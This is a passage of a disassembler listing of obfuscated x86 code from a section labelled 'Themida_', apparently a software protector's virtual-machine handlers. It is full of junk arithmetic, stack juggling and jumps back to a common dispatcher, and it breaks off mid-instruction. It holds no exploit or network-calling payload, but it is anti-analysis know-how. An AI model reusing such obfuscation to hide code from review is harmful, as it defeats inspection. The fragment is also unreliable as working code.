jmp loc_55979D ; --------------------------------------------------------------------------- loc_5594EF: ; CODE XREF: Themida_:00555760j pop eax push edi jmp loc_552CA3 ; --------------------------------------------------------------------------- loc_5594F6: ; CODE XREF: Themida_:00556007j mov ah, 0D8h push dx mov dh, 0F6h and ah, dh pop dx sub ah, 87h shr ah, 3 add ah, 55h jmp loc_556D6A ; --------------------------------------------------------------------------- loc_55950E: ; CODE XREF: Themida_:00553DBEj mov edx, 12D94422h not edx jmp loc_5545CB ; --------------------------------------------------------------------------- loc_55951A: ; CODE XREF: Themida_:0055BB84j sub esp, 4 mov [esp], edi jmp loc_5519DF ; --------------------------------------------------------------------------- loc_559528: ; CODE XREF: Themida_:0055CD74j jmp loc_551368 ; --------------------------------------------------------------------------- loc_55952D: ; CODE XREF: Themida_:0055364Bj add esp, 4 jmp loc_55C8C2 ; --------------------------------------------------------------------------- loc_559538: ; CODE XREF: Themida_:00558AACj mov esi, 19EA7664h sub esi, 27133548h push ebp jmp loc_552B05 ; --------------------------------------------------------------------------- loc_559549: ; CODE XREF: Themida_:005582D9j neg esi shl esi, 3 push eax mov eax, 320F361Ah jmp loc_552A69 ; --------------------------------------------------------------------------- loc_559559: ; CODE XREF: Themida_:00558ABEj add edx, 4 push ebx push 1A0h mov [esp], esi jmp loc_55C836 ; --------------------------------------------------------------------------- loc_55956D: ; CODE XREF: Themida_:00558272j add ebp, 4 jmp loc_558110 ; --------------------------------------------------------------------------- loc_559575: ; CODE XREF: Themida_:0055725Cj mov eax, 70860764h jmp loc_551E5F ; --------------------------------------------------------------------------- loc_55957F: ; CODE XREF: Themida_:005545DAj push di jmp loc_5518A1 ; --------------------------------------------------------------------------- loc_559586: ; CODE XREF: Themida_:0055B83Dj neg ebp push edx mov edx, 32B708C6h add ebp, edx jmp loc_55A09F ; --------------------------------------------------------------------------- push 7834h mov [esp], ebp jmp loc_55CC9D ; --------------------------------------------------------------------------- loc_5595A2: ; CODE XREF: Themida_:0055D377j push esi jmp loc_558FB6 ; --------------------------------------------------------------------------- loc_5595A8: ; CODE XREF: Themida_:00555C66j push ecx mov ecx, 39A9700Eh jmp loc_55CEE4 ; --------------------------------------------------------------------------- loc_5595B3: ; CODE XREF: Themida_:0055AE69j mov [esp], ebx mov ebx, esp push eax mov eax, 4 jmp loc_55C9A3 ; --------------------------------------------------------------------------- push 0E8Dh mov [esp], edx jmp loc_551368 ; --------------------------------------------------------------------------- loc_5595D0: ; CODE XREF: Themida_:00554000j add [esp+4], edi mov edi, [esp] jmp loc_55584B ; --------------------------------------------------------------------------- loc_5595DC: ; CODE XREF: Themida_:00555CF1j sub ebp, 687E6A2Eh not ebp sub ebp, 0AB4012A2h push 79A7h jmp loc_559A46 ; --------------------------------------------------------------------------- loc_5595F4: ; CODE XREF: Themida_:0055312Ej mov ebx, ecx pop ecx jmp loc_55B2C2 ; --------------------------------------------------------------------------- loc_5595FC: ; CODE XREF: Themida_:0055C34Dj push edi mov edi, 6C09520Dh or edi, 2D9E5F5Ch sub edi, 48A7253Ah jmp loc_555EBD ; --------------------------------------------------------------------------- loc_559613: ; CODE XREF: Themida_:0055BC12j sub [esp], al pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_55961C: ; CODE XREF: Themida_:00559226j add edx, 0A7567B7h mov edi, [esp] add esp, 4 xor edx, [esp] jmp loc_551FB7 ; --------------------------------------------------------------------------- loc_559633: ; CODE XREF: Themida_:00557C08j pop esp add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_55842C ; --------------------------------------------------------------------------- loc_559648: ; CODE XREF: Themida_:0055510Dj mov edx, 371E652Eh xor ebx, edx jmp loc_55214F ; --------------------------------------------------------------------------- loc_559654: ; CODE XREF: Themida_:0055D1D7j sub esp, 4 jmp loc_55C447 ; --------------------------------------------------------------------------- loc_55965C: ; CODE XREF: Themida_:0055C291j mov cl, bl pop ebx xor cl, 0D2h push 7F37h mov [esp], edx mov dl, 39h sub cl, dl pop edx xor dh, cl pop ecx jmp loc_552FEF ; --------------------------------------------------------------------------- loc_559677: ; CODE XREF: Themida_:00551886j pop esi pop dword ptr [esp] jmp loc_55BCDB ; --------------------------------------------------------------------------- loc_559680: ; CODE XREF: Themida_:0055AB6Aj sub dl, ch pop ecx sub esp, 2 mov [esp], bx mov bl, 26h add dl, bl pop bx add al, 0DDh sub al, dl sub al, 0DDh pop edx push edi push esp pop edi add edi, 4 sub edi, 2 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_554105 ; --------------------------------------------------------------------------- loc_5596B4: ; CODE XREF: Themida_:00553176j push ebp jmp loc_551F8B ; --------------------------------------------------------------------------- loc_5596BA: ; CODE XREF: Themida_:00554DD4j shr edi, 6 neg edi push ebp mov ebp, 337E6966h or ebp, 139B041Fh jmp loc_55D4FC ; --------------------------------------------------------------------------- loc_5596D0: ; CODE XREF: Themida_:0055328Cj mov ebp, [esp] add esp, 4 add eax, edx mov edx, [esp] jmp loc_55A3D7 ; --------------------------------------------------------------------------- loc_5596E3: ; CODE XREF: Themida_:00555126j push dword ptr [esp] pop ecx jmp loc_556DF3 ; --------------------------------------------------------------------------- loc_5596EC: ; CODE XREF: Themida_:00557801j xor edx, 27B87DBEh xor edx, 7CBC133Eh mov ebp, edx pop edx add ebx, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 pop dword ptr [eax] jmp loc_551368 ; --------------------------------------------------------------------------- loc_559716: ; CODE XREF: Themida_:005597F8j add ebx, edx pop edx push small word ptr [eax] jmp loc_551368 ; --------------------------------------------------------------------------- loc_559721: ; CODE XREF: Themida_:0055C0C7j push edi jmp loc_5590B8 ; --------------------------------------------------------------------------- loc_559727: ; CODE XREF: Themida_:00552A35j pop edx jmp loc_551368 ; --------------------------------------------------------------------------- loc_55972D: ; CODE XREF: Themida_:005545A5j add bh, cl jmp loc_552ABF ; --------------------------------------------------------------------------- loc_559734: ; CODE XREF: Themida_:005598E2j add esp, 4 push ebp mov ebp, 2DA85455h jmp loc_556BDD ; --------------------------------------------------------------------------- loc_559745: ; CODE XREF: Themida_:0055B574j pop edx pop ecx push 6675h mov [esp], ebx sub esp, 4 mov [esp], edi jmp loc_55666C ; --------------------------------------------------------------------------- loc_55975D: ; CODE XREF: Themida_:0055AF1Cj pop esi add esi, 4 add esi, 4 jmp loc_552C39 ; --------------------------------------------------------------------------- loc_55976C: ; CODE XREF: Themida_:0055AB7Bj or edi, 4C387325h xor edi, 7F7C7F29h sub eax, 525B7179h add eax, edi push edi mov edi, 617B1E59h not edi shl edi, 4 xor edi, 0BA156B19h add eax, edi mov edi, [esp] add esp, 4 jmp loc_55201E ; --------------------------------------------------------------------------- loc_55979D: ; CODE XREF: Themida_:005594EAj pop ecx xor al, bl mov ebx, [esp] jmp loc_551B75 ; --------------------------------------------------------------------------- loc_5597A8: ; CODE XREF: Themida_:00551D2Ej add eax, ecx pop ecx add eax, edx push ebx mov ebx, 274809D8h sub eax, ebx jmp loc_557443 ; --------------------------------------------------------------------------- loc_5597BA: ; CODE XREF: Themida_:0055C389j neg ecx shr ecx, 8 xor ecx, 4BDD0223h add esi, ecx pop ecx push ebx mov ebx, 78B0159Fh jmp loc_55D4DA ; --------------------------------------------------------------------------- loc_5597D3: ; CODE XREF: Themida_:005564FEj push 4086h mov [esp], ebx push edx jmp loc_556E08 ; --------------------------------------------------------------------------- loc_5597E1: ; CODE XREF: Themida_:00559AF4j add edi, 60AA9574h add ebx, edi pop edi push edx mov edx, 27733ADDh shr edx, 1 add edx, 19EEB6E7h jmp loc_559716 ; --------------------------------------------------------------------------- loc_5597FD: ; CODE XREF: Themida_:00553EE9j pop ecx pop ebp xchg edi, [esp] jmp loc_5586D8 ; --------------------------------------------------------------------------- loc_559807: ; CODE XREF: Themida_:00558E5Fj xor ecx, 0CF7AA1AFh add esi, ecx pop ecx add esi, 4 xchg esi, [esp] jmp loc_55C6F9 ; --------------------------------------------------------------------------- loc_55981E: ; CODE XREF: Themida_:00559A49j sub dword ptr [esp], 29197B22h jmp loc_557F56 ; --------------------------------------------------------------------------- loc_55982A: ; CODE XREF: Themida_:005566B3j pop esp xor ebx, [esp] jmp loc_55BE8E ; --------------------------------------------------------------------------- loc_559833: ; CODE XREF: Themida_:0055B9E2j push 5052h mov [esp], ebp push eax push esi jmp loc_55787A ; --------------------------------------------------------------------------- loc_559842: ; CODE XREF: Themida_:0055997Cj mov [esp], eax mov eax, esp jmp loc_5515E8 ; --------------------------------------------------------------------------- loc_55984C: ; CODE XREF: Themida_:0055664Dj mov ecx, 1CF34B7Ch add ecx, 1 shr ecx, 7 sub ecx, 39E692h add edx, 2FDE07A1h add edx, ecx sub edx, 2FDE07A1h pop ecx sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx jmp loc_559E4C ; --------------------------------------------------------------------------- loc_55987B: ; CODE XREF: Themida_:005524D4j mov [esp], esp jmp loc_558AB1 ; --------------------------------------------------------------------------- loc_559883: ; CODE XREF: Themida_:0055C13Fj pop ebp xchg ebx, [esp] mov esp, [esp] jmp loc_551C8A ; --------------------------------------------------------------------------- loc_55988F: ; CODE XREF: Themida_:0055927Bj add eax, 4 add eax, 4 xchg eax, [esp] pop esp pop dword ptr [esp] jmp loc_5519AE ; --------------------------------------------------------------------------- loc_5598A5: ; CODE XREF: Themida_:005585D2j shr esi, 2 and esi, 66981C30h push ebx mov ebx, 0A0C9DA0h xor esi, ebx pop ebx xor eax, esi push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 push ecx jmp loc_554805 ; --------------------------------------------------------------------------- loc_5598D1: ; CODE XREF: Themida_:00557D9Aj pop esp jmp loc_556AF2 ; --------------------------------------------------------------------------- loc_5598D7: ; CODE XREF: Themida_:00551DA4j push esi mov esi, esp jmp loc_55B59F ; --------------------------------------------------------------------------- loc_5598DF: ; CODE XREF: Themida_:00553026j mov ebp, [esp] jmp loc_559734 ; --------------------------------------------------------------------------- loc_5598E7: ; CODE XREF: Themida_:005557CFj add ebp, 6AD75ABAh add ebp, 5CF9727Ch jmp loc_551E37 ; --------------------------------------------------------------------------- loc_5598F8: ; CODE XREF: Themida_:005586ECj mov eax, [esp] push 254Eh mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp btr [esp], ax pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_55992A: ; CODE XREF: Themida_:0055B7D5j push ebx mov ebx, 2 add edx, ebx pop ebx xchg edx, [esp] mov esp, [esp] mov fs:[edx], ax jmp loc_551368 ; --------------------------------------------------------------------------- loc_559942: ; CODE XREF: Themida_:0055804Cj jmp loc_551368 ; --------------------------------------------------------------------------- loc_559947: ; CODE XREF: Themida_:0055B0FBj pop esp movzx cx, al push small 74BAh mov [esp], cx jmp loc_551368 ; --------------------------------------------------------------------------- loc_559959: ; CODE XREF: Themida_:0055697Bj mov edi, 33147003h push ecx mov ecx, 0B6237B8h jmp loc_55CBDF ; --------------------------------------------------------------------------- loc_559969: ; CODE XREF: Themida_:00552FEAj mov edx, eax jmp loc_555636 ; --------------------------------------------------------------------------- loc_559970: ; CODE XREF: Themida_:00551B13j push dword ptr [esp] push dword ptr [esp] pop eax push 3A9Ah jmp loc_559842 ; --------------------------------------------------------------------------- loc_559981: ; CODE XREF: Themida_:00559D39j push dword ptr [esp] pop eax jmp loc_55BD21 ; --------------------------------------------------------------------------- loc_55998A: ; CODE XREF: Themida_:00555EB8j shl al, 4 neg al and al, 6Bh xor al, 42h inc al xor al, 0CFh xor cl, al pop eax dec cl add cl, 43h mov dl, cl mov ecx, [esp] add esp, 4 mov al, dl pop edx add al, 0Dh add al, 0ADh jmp loc_5526D2 ; --------------------------------------------------------------------------- loc_5599B3: ; CODE XREF: Themida_:0055776Cj mov [esp], eax push esi mov esi, 5CD906A1h jmp loc_55726B ; --------------------------------------------------------------------------- loc_5599C1: ; CODE XREF: Themida_:0055A3E0j xor eax, [esp] pop esp add [esp], ax pushf jmp loc_556E5C ; --------------------------------------------------------------------------- loc_5599CF: ; CODE XREF: Themida_:0055BF52j mov esp, [esp] jmp loc_552ED6 ; --------------------------------------------------------------------------- loc_5599D7: ; CODE XREF: Themida_:005568F1j push eax mov eax, 575A5173h push 479Ah mov [esp], esi mov esi, 74F7D84h jmp loc_554145 ; --------------------------------------------------------------------------- loc_5599EF: ; CODE XREF: Themida_:0055286Dj push small 448Dh jmp loc_5538AD ; --------------------------------------------------------------------------- loc_5599F8: ; CODE XREF: Themida_:0055A9D2j add edx, 4 xchg edx, [esp] mov esp, [esp] or edx, eax shl edx, 1 push ecx jmp loc_55CCD5 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push ebx jmp loc_552DC1 ; --------------------------------------------------------------------------- loc_559A14: ; CODE XREF: Themida_:00552F94j or ebp, 73807287h not ebp shl ebp, 3 jmp loc_555527 ; --------------------------------------------------------------------------- loc_559A24: ; CODE XREF: Themida_:00559165j mov ecx, esp add ecx, 4 push edx mov edx, 4 sub ecx, edx pop edx jmp loc_557615 ; --------------------------------------------------------------------------- loc_559A3A: ; CODE XREF: Themida_:0055B084j pop ebp add ecx, 2 push ebx mov ebx, esp jmp loc_55B936 ; --------------------------------------------------------------------------- loc_559A46: ; CODE XREF: Themida_:005595EFj mov [esp], ebp jmp loc_55981E ; --------------------------------------------------------------------------- loc_559A4E: ; CODE XREF: Themida_:0055C223j not byte ptr [esp+1] pop edx add dh, 0E9h xor ah, dh pop edx shr ah, 8 xor ah, 0BAh sub dl, 63h add dl, ah add dl, 63h mov ax, [esp] add esp, 2 jmp loc_556D07 ; --------------------------------------------------------------------------- loc_559A73: ; CODE XREF: Themida_:00552E12j xor eax, ebx pop ebx push 229h mov [esp], ebp push 72134C70h pop ebp add eax, 34DA6212h sub eax, 11DA35BBh sub eax, ebp add eax, 11DA35BBh push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_551583 ; --------------------------------------------------------------------------- loc_559AAC: ; CODE XREF: Themida_:00555AC7j xor [esp], edx xor edx, [esp] pop esp mov [esp], ecx mov cl, 0C5h add bl, 0DFh jmp loc_551A81 ; --------------------------------------------------------------------------- loc_559AC0: ; CODE XREF: Themida_:00555C5Ej mov ebp, 715E55B4h push esi mov esi, 6A491821h sub esi, 7F732EAFh inc esi and esi, 249915CEh add esi, 49D86646h push ebx mov ebx, 1EE22A1Fh and esi, ebx pop ebx jmp loc_552A9D ; --------------------------------------------------------------------------- loc_559AEC: ; CODE XREF: Themida_:0055B17Aj push edi mov edi, 515B2C15h neg edi jmp loc_5597E1 ; --------------------------------------------------------------------------- loc_559AF9: ; CODE XREF: Themida_:005548FBj neg ebp shr ebp, 4 shl ebp, 5 sub ebp, 8FBBC7ABh sub ebx, ebp pop ebp xor ecx, ebx pop ebx or ecx, 22323158h add ecx, 2885EB2h push ecx pop ebp mov ecx, [esp] add esp, 4 add ebp, 4CB67B59h push 49B5h mov [esp], edi mov edi, 3D097223h add ebp, 2D462658h add ebp, edi sub ebp, 2D462658h pop edi push ebp sub dword ptr [esp], 3F0360F2h pop ecx jmp loc_557F98 ; --------------------------------------------------------------------------- loc_559B51: ; CODE XREF: Themida_:0055C33Ej push ebp mov ebp, 4 add edi, 1D606667h sub edi, ebp push ecx jmp loc_553EE2 ; --------------------------------------------------------------------------- loc_559B65: ; CODE XREF: Themida_:0055ADC3j mov eax, esp push esi jmp loc_557360 ; --------------------------------------------------------------------------- loc_559B6D: ; CODE XREF: Themida_:0055C458j add esp, 2 and cl, 5Bh inc cl push ebx mov bh, 0B0h xor cl, bh pop ebx xor cl, 2Fh not cl add cl, 0FFh push ebx mov bh, 69h not bh jmp loc_55CB97 ; --------------------------------------------------------------------------- loc_559B8D: ; CODE XREF: Themida_:00551FB2j pop ecx mov cl, bl pop ebx pop eax add al, 38h add al, cl sub al, 38h push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 push 71E5h jmp loc_553F2D ; --------------------------------------------------------------------------- loc_559BB1: ; CODE XREF: Themida_:0055CA52j pop ebx push 2990h mov [esp], ebp push 4 jmp loc_555EED ; --------------------------------------------------------------------------- loc_559BC4: ; CODE XREF: Themida_:00553C0Cj xor [esp], ecx jmp loc_55B7CC ; --------------------------------------------------------------------------- loc_559BCC: ; CODE XREF: Themida_:0055AFBAj mov dl, 77h and ch, dl pop edx add ch, 18h dec ch jmp loc_557756 ; --------------------------------------------------------------------------- loc_559BDB: ; CODE XREF: Themida_:00551F00j sub esp, 4 mov [esp], ebx mov ebx, 4 jmp loc_55CFAA ; --------------------------------------------------------------------------- loc_559BEB: ; CODE XREF: Themida_:0055CB5Cj sub esp, 4 mov [esp], ebx push 4 mov ebx, [esp] add esp, 4 sub esi, 30B03ABAh sub esi, 6151375Fh jmp loc_555B64 ; --------------------------------------------------------------------------- loc_559C0D: ; CODE XREF: Themida_:0055CF13j mov cl, dl mov edx, [esp] add esp, 4 pop eax jmp loc_55CC2D ; --------------------------------------------------------------------------- loc_559C1B: ; CODE XREF: Themida_:0055C507j push esp mov edx, [esp] push ecx jmp loc_55A752 ; --------------------------------------------------------------------------- loc_559C25: ; CODE XREF: Themida_:0055A95Aj add esp, 4 jmp loc_554297 ; --------------------------------------------------------------------------- loc_559C30: ; CODE XREF: Themida_:00558D63j mov ebp, edi mov edi, [esp] jmp loc_55BBFA ; --------------------------------------------------------------------------- loc_559C3A: ; CODE XREF: Themida_:00552753j mov ecx, 1A934976h or ebx, ecx pop ecx sub ebx, 3B64498h jmp loc_553542 ; --------------------------------------------------------------------------- loc_559C4D: ; CODE XREF: Themida_:0055C318j sub eax, esi add eax, 69A502ECh jmp loc_55C011 ; --------------------------------------------------------------------------- loc_559C59: ; CODE XREF: Themida_:0055928Fj add edx, 4 jmp loc_55ABEA ; --------------------------------------------------------------------------- loc_559C64: ; CODE XREF: Themida_:00558AE5j sub edx, ebp mov ebp, [esp] add esp, 4 push 49A2h jmp loc_55CB8A ; --------------------------------------------------------------------------- loc_559C79: ; CODE XREF: Themida_:005591ECj pop ebx add ebx, eax jmp loc_5544FB ; --------------------------------------------------------------------------- loc_559C81: ; CODE XREF: Themida_:00553E46j push edi mov edi, 307A68CBh mov ebp, 19C8F765h add ebp, edi pop edi add [esp+4], ebp pop ebp pop edx push esi sub esp, 4 jmp loc_559DFF ; --------------------------------------------------------------------------- loc_559C9E: ; CODE XREF: Themida_:00556BF6j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] xor eax, edx xor edx, eax xor eax, edx push edx jmp loc_558205 ; --------------------------------------------------------------------------- loc_559CB6: ; CODE XREF: Themida_:00552A1Aj or eax, eax jz loc_55797E push dword ptr [edi+1Ch] jmp loc_55869C ; --------------------------------------------------------------------------- loc_559CC6: ; CODE XREF: Themida_:005538A8j mov edi, [esp] add esp, 4 add edx, eax sub edx, 5D80283Bh mov [edx], cl pop edx pop ecx jmp loc_551368 ; --------------------------------------------------------------------------- loc_559CDD: ; CODE XREF: Themida_:00552819j push edx jmp loc_553BF9 ; --------------------------------------------------------------------------- loc_559CE3: ; CODE XREF: Themida_:00556F76j mov bl, 2Bh sub bl, 5Ah add dl, bl mov ebx, [esp] push ecx mov ecx, esp jmp loc_5531A1 ; --------------------------------------------------------------------------- loc_559CF5: ; CODE XREF: Themida_:005584ADj xor ecx, ebx pop ebx sub esp, 4 mov [esp], edx push 34Ch jmp loc_55A1BC ; --------------------------------------------------------------------------- loc_559D0B: ; CODE XREF: Themida_:00556A60j add ch, dl pop edx jmp loc_552714 ; --------------------------------------------------------------------------- loc_559D13: ; CODE XREF: Themida_:00558983j mov [esp], ebx add dword ptr [esp], 32C35FBEh pop eax push esi jmp loc_55AC30 ; --------------------------------------------------------------------------- loc_559D24: ; CODE XREF: Themida_:0055738Dj add eax, 4 xchg eax, [esp] jmp loc_55497B ; --------------------------------------------------------------------------- loc_559D31: ; CODE XREF: Themida_:00552226j xchg edx, [esp] mov esp, [esp] and ecx, eax jmp loc_559981 ; --------------------------------------------------------------------------- loc_559D3E: ; CODE XREF: Themida_:00553B99j sub ecx, ebp pop ebp add ecx, 4F473AEEh jmp loc_552615 ; --------------------------------------------------------------------------- loc_559D4C: ; CODE XREF: Themida_:0055CB3Aj push dx sub esp, 4 mov [esp], eax mov al, 54h xor al, 2Bh shl al, 7 dec al jmp loc_55428A ; --------------------------------------------------------------------------- loc_559D62: ; CODE XREF: Themida_:0055C14Cj jmp loc_551368 ; --------------------------------------------------------------------------- loc_559D67: ; CODE XREF: Themida_:00552BDBj push dword ptr [esp] pop ebx add esp, 4 add ebx, 4 push edi mov edi, 2 sub ebx, edi pop edi xchg ebx, [esp] mov esp, [esp] mov [esp], bx mov bx, 2 add word ptr [esp+2], 6771h jmp loc_55D34D ; --------------------------------------------------------------------------- loc_559D97: ; CODE XREF: Themida_:00555710j xchg esi, [esp] pop esp pop ecx push dword ptr [esp] pop eax add esp, 4 loc_559DA3: ; CODE XREF: Themida_:00557B05j push edx jmp loc_5524B1 ; --------------------------------------------------------------------------- loc_559DA9: ; CODE XREF: Themida_:0055C7F7j and ecx, 4745017h add ecx, 390D6A87h sub ecx, 0FF0D8AD2h sub eax, ecx mov ecx, [esp] jmp loc_5572F1 ; --------------------------------------------------------------------------- loc_559DC5: ; CODE XREF: Themida_:00552142j mov [esp], esi jmp loc_552F89 ; --------------------------------------------------------------------------- loc_559DCD: ; CODE XREF: Themida_:00552C54j push edx push 6255093h jmp loc_552453 ; --------------------------------------------------------------------------- loc_559DD8: ; CODE XREF: Themida_:00553B4Ej pop esi add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp sub esp, 4 jmp loc_5593D9 ; --------------------------------------------------------------------------- loc_559DF1: ; CODE XREF: Themida_:00552A43j add ebp, eax pop eax add ebp, 2 jmp loc_556358 ; --------------------------------------------------------------------------- loc_559DFF: ; CODE XREF: Themida_:00559C99j mov [esp], ebx jmp loc_5515C7 ; --------------------------------------------------------------------------- loc_559E07: ; CODE XREF: Themida_:0055C00Cj push eax mov edx, [esp] add esp, 4 push dword ptr [esp] pop eax jmp loc_55885B ; --------------------------------------------------------------------------- loc_559E17: ; CODE XREF: Themida_:00559400j push small 21BBh jmp loc_55A404 ; --------------------------------------------------------------------------- loc_559E20: ; CODE XREF: Themida_:0055326Cj push dword ptr [esp] push dword ptr [esp] pop edi add esp, 4 push ebx jmp loc_55CD30 ; --------------------------------------------------------------------------- loc_559E33: ; CODE XREF: Themida_:0055B8A8j mov [esp], edx sub esp, 4 mov [esp], ebx mov ebx, 1D2AF7EFh push edi push eax push ebx jmp loc_559210 ; --------------------------------------------------------------------------- loc_559E4C: ; CODE XREF: Themida_:00559876j push edi mov edi, 396A2Dh jmp loc_554584 ; --------------------------------------------------------------------------- loc_559E57: ; CODE XREF: Themida_:00554D92j not dl add dl, 2 push ecx mov ch, 0FDh or dl, ch push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 jmp loc_55AB65 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] jmp loc_5577BA ; --------------------------------------------------------------------------- mov eax, [esp] push edx sub esp, 4 push esp pop dword ptr [esp] push edx mov edx, 4 add [esp+4], edx pop edx jmp loc_557FF9 ; --------------------------------------------------------------------------- loc_559E98: ; CODE XREF: Themida_:0055B9C9j add bl, cl pop ecx jmp loc_551C44 ; --------------------------------------------------------------------------- loc_559EA0: ; CODE XREF: Themida_:0055CBDAj add edx, ebp pop ebp dec edx and edx, 6B7301A7h push eax mov eax, 0E0B57548h add edx, eax jmp loc_55B3E5 ; --------------------------------------------------------------------------- loc_559EB7: ; CODE XREF: Themida_:00552A70j pop eax add ecx, esi pop esi sub ecx, 4 xchg ecx, [esp] jmp loc_556854 ; --------------------------------------------------------------------------- loc_559EC9: ; CODE XREF: Themida_:00554BABj mov ebp, ebx pop ebx sub [edi+24h], ebp pop ebp loc_559ED0: ; CODE XREF: Themida_:0055324Aj sub esp, 4 mov [esp], edx push ebp mov ebp, ebx push ebp add dword ptr [esp], 2557758Fh pop edx sub edx, 2557758Fh pop ebp push edx pop eax push dword ptr [esp] mov edx, [esp] push esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_556689 ; --------------------------------------------------------------------------- loc_559F08: ; CODE XREF: Themida_:0055A99Aj mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp push eax mov eax, 4 jmp loc_55CBEC ; --------------------------------------------------------------------------- loc_559F27: ; CODE XREF: Themida_:0055B22Dj sub esp, 4 jmp loc_55B896 ; --------------------------------------------------------------------------- loc_559F32: ; CODE XREF: Themida_:00554629j pop ebx sub esp, 4 mov [esp], ecx mov cl, 18h jmp loc_55791B ; --------------------------------------------------------------------------- loc_559F43: ; CODE XREF: Themida_:005535EAj pop edi add ebx, 4 xchg ebx, [esp] jmp loc_554F01 ; --------------------------------------------------------------------------- loc_559F52: ; CODE XREF: Themida_:00556253j pop esp mov [esp], esp jmp loc_5531CB ; --------------------------------------------------------------------------- loc_559F5B: ; CODE XREF: Themida_:005526CDj push ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx add ebx, 4 push eax push esi mov esi, 0BC427BCh mov eax, 25BB0A68h sub eax, 2B621131h not eax jmp loc_552ADC ; --------------------------------------------------------------------------- loc_559F8B: ; CODE XREF: Themida_:00551B1Ej xchg edx, [esp] mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_559F9B: ; CODE XREF: Themida_:00553C56j push ecx push esi push 7C517199h mov esi, [esp] add esp, 4 inc esi not esi xor esi, 0C6AD9160h mov ecx, esi pop esi add edx, ecx pop ecx push ebx mov ebx, 16410E41h jmp loc_558159 ; --------------------------------------------------------------------------- loc_559FC2: ; CODE XREF: Themida_:00551D96j mov dl, 60h xor dl, 0D9h shr dl, 7 dec dl dec dl jmp loc_55A50A ; --------------------------------------------------------------------------- loc_559FD3: ; CODE XREF: Themida_:005538DEj or esi, 6E12566Dh sub esi, 0FD53D639h sub ebx, 0C6369FDh sub ebx, esi add ebx, 0C6369FDh pop esi jmp loc_552FE6 ; --------------------------------------------------------------------------- loc_559FF3: ; CODE XREF: Themida_:005516C0j xchg edi, [esp] jmp loc_5552C0 ; --------------------------------------------------------------------------- loc_559FFB: ; CODE XREF: Themida_:00554A51j push eax not dword ptr [esp] jmp loc_5553FC ; --------------------------------------------------------------------------- loc_55A004: ; CODE XREF: Themida_:0055D0F3j shl edx, 2 neg edx or edx, 13D61170h sub edx, 8CBCABA9h jmp loc_552CC2 ; --------------------------------------------------------------------------- loc_55A01A: ; CODE XREF: Themida_:00555146j mov [esp], edi push esp pop edi add edi, 4 push ecx push eax mov eax, 21693B72h not eax xor eax, 6BA23B9Ch jmp loc_553307 ; --------------------------------------------------------------------------- loc_55A038: ; CODE XREF: Themida_:00556A10j pop eax and [edi+1Ch], eax jmp loc_557D66 ; --------------------------------------------------------------------------- loc_55A041: ; CODE XREF: Themida_:00554783j and ebp, ebx pop ebx sub esp, 4 mov [esp], ebx mov ebx, 630A267Dh jmp loc_553012 ; --------------------------------------------------------------------------- loc_55A054: ; CODE XREF: Themida_:00553B3Cj add edi, 0F3FA89B3h and ecx, edi pop edi add ecx, 0FBFC03E8h and eax, ecx jmp loc_552258 ; --------------------------------------------------------------------------- loc_55A06A: ; CODE XREF: Themida_:005561CEj mov edi, 4A56196h or edx, edi pop edi or edx, 6E796A60h xor edx, 0E9CFC52Bh sub edi, edx push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 jmp loc_557D9F ; --------------------------------------------------------------------------- loc_55A097: ; CODE XREF: Themida_:005534A8j mov al, bh pop ebx jmp loc_55911E ; --------------------------------------------------------------------------- loc_55A09F: ; CODE XREF: Themida_:00559590j pop edx xor edi, ebp mov ebp, [esp] add esp, 4 add eax, 42515596h add eax, edi jmp loc_5565B0 ; --------------------------------------------------------------------------- loc_55A0B7: ; CODE XREF: Themida_:0055AFCBj mov [esp], ecx push 3E4F06B2h pop ecx xor ecx, 5A50761Eh jmp loc_551BE1 ; --------------------------------------------------------------------------- loc_55A0CB: ; CODE XREF: Themida_:00553D6Fj push 3610h mov [esp], esp push ecx jmp loc_55CE19 ; --------------------------------------------------------------------------- loc_55A0D9: ; CODE XREF: Themida_:00556AEDj sub ebp, esi push esi push ebp pop esi mov ebp, [esp] push ebp jmp loc_556F10 ; --------------------------------------------------------------------------- loc_55A0E7: ; CODE XREF: Themida_:0055463Aj dec edx not edx jmp loc_55235B ; --------------------------------------------------------------------------- loc_55A0EF: ; CODE XREF: Themida_:0055C89Dj add edx, ebp pop ebp push edi jmp loc_554DF9 ; --------------------------------------------------------------------------- loc_55A0F8: ; CODE XREF: Themida_:0055BAE7j pop ecx add esp, 4 add ebp, esi jmp loc_556C67 ; --------------------------------------------------------------------------- loc_55A103: ; CODE XREF: Themida_:00553120j dec edx not edx xor edx, ebp xor ebp, edx xor edx, ebp push ebp not dword ptr [esp] pop ebp xchg ebp, edx sub edx, 0C63E82h push 1B28h jmp loc_553080 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_5580F8 ; --------------------------------------------------------------------------- loc_55A12B: ; CODE XREF: Themida_:00553D9Aj add esi, 305F115h sub eax, esi mov esi, [esp] add esp, 4 add eax, 61E80B44h mov ecx, [esp] jmp loc_553DFC ; --------------------------------------------------------------------------- loc_55A146: ; CODE XREF: Themida_:00558D09j jmp loc_551368 ; --------------------------------------------------------------------------- loc_55A14B: ; CODE XREF: Themida_:0055D28Dj pop eax xor dl, 0D3h shl dl, 5 sub dl, 4Bh add dl, 11h dec dl add dl, 1 add 